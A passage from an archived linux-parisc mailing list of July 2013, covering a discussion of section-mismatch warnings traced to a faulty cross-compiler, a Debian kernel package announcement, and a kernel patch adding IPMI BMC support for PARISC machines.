	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 14C1E1840289;
	Mon, 29 Jul 2013 16:50:18 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <51F06A31.9090408@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5225>


After use own built cross compiler (gcc-4.9.0, binutils-2.23.2 with
'hppa64-gchen-linux'), no the related warnings any more.

The original compiler which I used ('hppa64-linux-gnu') is incorrect.

:-)

Thanks.

On 07/25/2013 07:58 AM, Chen Gang F T wrote:
> On 07/24/2013 10:11 PM, James Bottomley wrote:
>> On Wed, 2013-07-24 at 16:27 +0800, Chen Gang wrote:
>>> Hello Maintainers:
>>>
>>> When building parisc with allmodconfig by 'hppa64-linux-gnu-', I find section mismatch warnings.
>>>
>>> I am not quite sure whether they will cause real issue or not, please
>>> help check, thanks.
>>
>> I think you need to try a new compiler before we start looking at issues
>> that don't show up in our build.  However, since it doesn't show up in
>> the parisc build, I don't actually think it's real, since it's a
>> temporary label in core code.
>>
> 
> OK, thanks, I should use a new compiler for it, I will continue.
> 
> And welcome any additional suggestions or completions (especially the
> information about parisc compiler).
> 
> 
> Thanks.
> 


-- 
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Mon, 29 Jul 2013 09:47:32 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU0-SMTP611AEF17EB77D8F3C171E397550@phx.gbl>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com> <1374675095.4634.6.camel@dabdike> <51F06A31.9090408@gmail.com> <51F62C8E.6080003@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375105664 29236 80.91.229.3 (29 Jul 2013 13:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 13:47:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 29 15:47:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3nnc-00081I-7z
	for glpp-linux-parisc@plane.gmane.org; Mon, 29 Jul 2013 15:47:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751128Ab3G2Nrn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 09:47:43 -0400
Original-Received: from blu0-omc4-s19.blu0.hotmail.com ([65.55.111.158]:57552 "EHLO
	blu0-omc4-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751040Ab3G2Nrn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 09:47:43 -0400
Original-Received: from BLU0-SMTP61 ([65.55.111.137]) by blu0-omc4-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 29 Jul 2013 06:47:43 -0700
X-EIP: [wlcjDTKGMI5yR7raAP7Fk7f4K0Gb1j3j]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP61.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 29 Jul 2013 06:47:41 -0700
In-Reply-To: <51F62C8E.6080003@asianux.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jul 2013 13:47:41.0240 (UTC) FILETIME=[31E99B80:01CE8C62]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5226>

On 29-Jul-13, at 4:49 AM, Chen Gang wrote:

> After use own built cross compiler (gcc-4.9.0, binutils-2.23.2 with
> 'hppa64-gchen-linux'), no the related warnings any more.
>
> The original compiler which I used ('hppa64-linux-gnu') is incorrect.

I haven't seen the warning with any recent compiler and possibly your  
compiler
selection versus CONFIG_64BIT was wrong.  What does 'hppa64-linux-gnu - 
v'
show?

gcc-4.9.0 is not released and any particular snapshot may be buggy.   
Suggest using
4.8 branch.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Mon, 29 Jul 2013 20:23:40 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <51F6B32C.6010905@gmx.de>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com> <1374675095.4634.6.camel@dabdike> <51F06A31.9090408@gmail.com> <51F62C8E.6080003@asianux.com> <BLU0-SMTP611AEF17EB77D8F3C171E397550@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375122224 31344 80.91.229.3 (29 Jul 2013 18:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 18:23:44 +0000 (UTC)
Cc: Chen Gang <gang.chen@asianux.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 29 20:23:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3s6j-0003NT-Hc
	for glpp-linux-parisc@plane.gmane.org; Mon, 29 Jul 2013 20:23:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752558Ab3G2SXo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 14:23:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53600 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752113Ab3G2SXo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 14:23:44 -0400
Original-Received: from [192.168.178.60] ([84.173.39.64]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LbMb0-1UNMLE2pOU-00kxWS for
 <linux-parisc@vger.kernel.org>; Mon, 29 Jul 2013 20:23:42 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <BLU0-SMTP611AEF17EB77D8F3C171E397550@phx.gbl>
X-Provags-ID: V03:K0:Rg6ltvD2djFfhgOodVXhWCCq8SOrY5Knc7Pz591N6WWqfrI4TeR
 PeF4uMV+FwQfuMObsjVwOuUzkA5pDSjY90TDLlC4r+g+L7lQVaLn0ArIYnkalToqOWRcfAc
 CupIlqzz3D5JPYGVyYwi/FQhGhpMzL/tTxFlvNHeEwg8VvkjWNaM+ZdZ35r4nBgP85RKTRh
 aIrvyQXxJOaqWMK+nrBZQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5227>

On 07/29/2013 03:47 PM, John David Anglin wrote:
> On 29-Jul-13, at 4:49 AM, Chen Gang wrote:
> 
>> After use own built cross compiler (gcc-4.9.0, binutils-2.23.2 with
>> 'hppa64-gchen-linux'), no the related warnings any more.
>>
>> The original compiler which I used ('hppa64-linux-gnu') is incorrect.
> 
> I haven't seen the warning with any recent compiler and possibly your compiler
> selection versus CONFIG_64BIT was wrong.  What does 'hppa64-linux-gnu -v'
> show?
> 
> gcc-4.9.0 is not released and any particular snapshot may be buggy.  Suggest using
> 4.8 branch.

Hi Chen,

I'm using the prebuilt cross-gcc package from Fedora (since my x86_64 machines run Fedora):
https://koji.fedoraproject.org/koji/packageinfo?packageID=13624 (cross-gcc)
https://koji.fedoraproject.org/koji/packageinfo?packageID=13623 (cross-binutils)

If you use debian/ubuntu you could use "alien" to convert it to a debian/ubuntu package.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: New Debian Kernel Packages
Date: Mon, 29 Jul 2013 18:46:17 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375137995 8324 80.91.229.3 (29 Jul 2013 22:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 22:46:35 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 00:46:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3wD6-00055d-JA
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 00:46:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755699Ab3G2Wqg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 18:46:36 -0400
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:22469 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755667Ab3G2Wqf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 18:46:35 -0400
Original-Received: from BLU0-SMTP89 ([65.55.111.135]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 29 Jul 2013 15:46:34 -0700
X-EIP: [MrXx9s3BkUl6JJyKHY8SCME5KRh/N855]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP89.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 29 Jul 2013 15:46:33 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jul 2013 22:46:33.0799 (UTC) FILETIME=[799E9570:01CE8CAD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5228>

The following kernel packages are now in the parisc-linux.org archive:

-rw-r--r--   1 deller   ftpadmin 19931220 Jul 29 22:01 linux- 
image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
-rw-r--r--   1 deller   ftpadmin 21374850 Jul 29 22:01 linux- 
image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
-rw-r--r--   1 deller   ftpadmin 20766562 Jul 29 22:01 linux- 
image-3.10-1-parisc64_3.10.3-1_hppa.deb
-rw-r--r--   1 deller   ftpadmin 19290152 Jul 29 22:01 linux- 
image-3.10-1-parisc_3.10.3-1_hppa.deb

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Tue, 30 Jul 2013 08:48:25 +0800
Lines: 60
Approved: news@gmane.org
Message-ID: <51F70D59.7060309@asianux.com>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com> <1374675095.4634.6.camel@dabdike> <51F06A31.9090408@gmail.com> <51F62C8E.6080003@asianux.com> <BLU0-SMTP611AEF17EB77D8F3C171E397550@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375145368 15572 80.91.229.3 (30 Jul 2013 00:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 00:49:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 02:49:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3y80-0002aP-7y
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 02:49:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752751Ab3G3At1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 20:49:27 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:21264 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752581Ab3G3At0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 20:49:26 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 7BCC6184034F; Tue, 30 Jul 2013 08:49:25 +0800 (CST)
X-Spam-Score: -100.7
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.7 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,TW_IB,TW_JL,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 29EE11840241;
	Tue, 30 Jul 2013 08:49:25 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <BLU0-SMTP611AEF17EB77D8F3C171E397550@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5229>

On 07/29/2013 09:47 PM, John David Anglin wrote:
> On 29-Jul-13, at 4:49 AM, Chen Gang wrote:
> 
>> After use own built cross compiler (gcc-4.9.0, binutils-2.23.2 with
>> 'hppa64-gchen-linux'), no the related warnings any more.
>>
>> The original compiler which I used ('hppa64-linux-gnu') is incorrect.
> 
> I haven't seen the warning with any recent compiler and possibly your
> compiler
> selection versus CONFIG_64BIT was wrong.  What does 'hppa64-linux-gnu -v'
> show?
> 

The incorrect compiler's information.

[root@dhcp122 linux-next]# rpm -qf /usr/bin/hppa64-linux-gnu-gcc
gcc-hppa64-linux-gnu-4.7.1-0.1.20120606.fc17.x86_64
[root@dhcp122 linux-next]# hppa64-linux-gnu-gcc -v
Using built-in specs.
COLLECT_GCC=hppa64-linux-gnu-gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/hppa64-linux-gnu/4.7.1/lto-wrapper
Target: hppa64-linux-gnu
Configured with: ../gcc-4.7.1-RC-20120606/configure --disable-dependency-tracking --disable-silent-rules --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/usr/include --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/var/lib --mandir=/usr/share/man --infodir=/usr/share/info --build=x86_64-redhat-linux-gnu --host=x86_64-redhat-linux-gnu --target=hppa64-linux-gnu --enable-targets=all --program-prefix=hppa64-linux-gnu- --enable-languages=c --without-headers --enable-sjlj-exceptions --with-system-libunwind --disable-nls --disable-threads --disable-shared --disable-libmudflap --disable-libssp --disable-libgomp --disable-libquadmath --disable-gold --disable-decimal-float --enable-checking= --enable-gnu-uniqu
 e-object --enable-linker-build-id --disable-plugin --enable-nls --with-system-zlib --with-bugurl=http://bugzilla.redhat.com/bugzilla/ --enable-obsolete
Thread model: single
gcc version 4.7.1 20120606 (Red Hat 4.7.1-0.1.20120606) (GCC) 


> gcc-4.9.0 is not released and any particular snapshot may be buggy. 
> Suggest using
> 4.8 branch.
> 

gcc-4.9.0 with binutil-2.23.2 for 'hppa64-linux' is correct for parisc
with 'CONFIG_64BIT' enabled.

I intend to use gcc-4.9.0, (I want to find more issues not only for
kernel, but also for gcc, so I can have more chances to provide my
contributions for both of them)

;-)

> Dave
> -- 
> John David Anglin    dave.anglin@bell.net
> 
> 
> 
> 
> 

Thanks.
-- 
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: [PATCH] BMC support for PARISC machines
Date: Tue, 30 Jul 2013 02:07:02 +0200 (CEST)
Lines: 137
Approved: news@gmane.org
Message-ID: <20130730000702.4C0D21D232@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1375146047 23167 80.91.229.3 (30 Jul 2013 01:00:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 01:00:47 +0000 (UTC)
Cc: minyard@acm.org
To: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 03:00:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3yIr-0006Fv-6O
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 03:00:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752893Ab3G3BAk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 21:00:40 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:41557 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752878Ab3G3BAj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 21:00:39 -0400
X-Greylist: delayed 3422 seconds by postgrey-1.27 at vger.kernel.org; Mon, 29 Jul 2013 21:00:39 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1V3xT4-0007if-00; Tue, 30 Jul 2013 02:07:10 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 4C0D21D232; Tue, 30 Jul 2013 02:07:02 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5230 gmane.linux.kernel.openipmi:2152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5230>

The last line of PARISC machines (C8000, RP34x0, etc.) have a BMC for
controlling temperature, fan speed and other stuff. The BMC is connected
via a special bus and listed in the firmware device tree. This change
adds support for these BMCs to the IPMI driver.

Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---

This is the second try to get this change integrated. If you see
any problems with this patch, please give me hints how to improve
this patch.


 drivers/char/ipmi/ipmi_si_intf.c |   77 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 77 insertions(+)

diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index af4b23f..b017b8a 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -71,6 +71,11 @@
 #include <linux/of_address.h>
 #include <linux/of_irq.h>
 
+#ifdef CONFIG_PARISC
+#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
+#include <asm/parisc-device.h>
+#endif
+
 #define PFX "ipmi_si: "
 
 /* Measure times between events in the driver. */
@@ -298,6 +303,9 @@ static int pci_registered;
 #ifdef CONFIG_ACPI
 static int pnp_registered;
 #endif
+#ifdef CONFIG_PARISC
+static int parisc_registered;
+#endif
 
 static unsigned int kipmid_max_busy_us[SI_MAX_PARMS];
 static int num_max_busy_us;
@@ -2697,6 +2705,64 @@ static struct platform_driver ipmi_driver = {
 	.remove		= ipmi_remove,
 };
 
+#ifdef CONFIG_PARISC
+static int ipmi_parisc_probe(struct parisc_device *dev)
+{
+	struct smi_info *info;
+
+	info = kzalloc(sizeof(*info), GFP_KERNEL);
+
+	if (!info) {
+		dev_err(&dev->dev,
+			"could not allocate memory for PARISC probe\n");
+		return -ENOMEM;
+	}
+
+	info->si_type		= SI_KCS;
+	info->addr_source	= SI_DEVICETREE;
+	info->io_setup		= mem_setup;
+	info->io.addr_type	= IPMI_MEM_ADDR_SPACE;
+	info->io.addr_data	= dev->hpa.start;
+	info->io.regsize	= 1;
+	info->io.regspacing	= 1;
+	info->io.regshift	= 0;
+	info->irq		= 0; /* no interrupt */
+	info->irq_setup		= NULL;
+	info->dev		= &dev->dev;
+
+	dev_dbg(&dev->dev, "addr 0x%lx regsize %d spacing %d irq %d\n",
+		info->io.addr_data, info->io.regsize, info->io.regspacing,
+		info->irq);
+
+	dev_set_drvdata(&dev->dev, info);
+
+	if (add_smi(info)) {
+		kfree(info);
+		return -EBUSY;
+	}
+
+	return 0;
+}
+
+static int ipmi_parisc_remove(struct parisc_device *dev)
+{
+	cleanup_one_si(dev_get_drvdata(&dev->dev));
+	return 0;
+}
+
+static struct parisc_device_id ipmi_parisc_tbl[] = {
+	{ HPHW_MC, HVERSION_REV_ANY_ID, 0x004, 0xC0 },
+	{ 0, }
+};
+
+static struct parisc_driver ipmi_parisc_driver = {
+	.name =		"ipmi",
+	.id_table =	ipmi_parisc_tbl,
+	.probe =	ipmi_parisc_probe,
+	.remove =	ipmi_parisc_remove,
+};
+#endif /* CONFIG_PARISC */
+
 static int wait_for_msg_done(struct smi_info *smi_info)
 {
 	enum si_sm_result     smi_result;
@@ -3462,6 +3528,13 @@ static int init_ipmi_si(void)
 		spmi_find_bmc();
 #endif
 
+#ifdef CONFIG_PARISC
+	register_parisc_driver(&ipmi_parisc_driver);
+	parisc_registered = 1;
+	/* poking PC IO addresses will crash machine, don't do it */
+	si_trydefaults = 0;
+#endif
+
 	/* We prefer devices with interrupts, but in the case of a machine
 	   with multiple BMCs we assume that there will be several instances
 	   of a given type so if we succeed in registering a type then also
@@ -3608,6 +3681,10 @@ static void cleanup_ipmi_si(void)
 	if (pnp_registered)
 		pnp_unregister_driver(&ipmi_pnp_driver);
 #endif
+#ifdef CONFIG_PARISC
+	if (parisc_registered)
+		unregister_parisc_driver(&ipmi_parisc_driver);
+#endif
 
 	platform_driver_unregister(&ipmi_driver);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Fix interrupt routing for C8000 serial ports
Date: Tue, 30 Jul 2013 02:02:16 +0200 (CEST)
Lines: 135
Approved: news@gmane.org
Message-ID: <20130730000216.94DB91D232@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1375146048 23174 80.91.229.3 (30 Jul 2013 01:00:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 01:00:48 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 03:00:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3yIz-0006Fv-Az
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 03:00:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753003Ab3G3BAt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 21:00:49 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:41559 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752881Ab3G3BAs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 21:00:48 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1V3xPc-0007f0-01; Tue, 30 Jul 2013 02:03:36 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 94DB91D232; Tue, 30 Jul 2013 02:02:16 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5231>

We can't use dev->mod_index for selecting the interrupt routing entry,
because it's not an index into interrupt routing table. It will be even
wrong on a machine with 2 CPUs (4 cores). But all needed information is
contained in the PAT entries for the serial ports. mod[0] contains the iosapic
address and mod_info has some indications for the interrupt input (at least
it looks like it). This patch implements the searching for the right iosapic
and uses this interrupt input information.

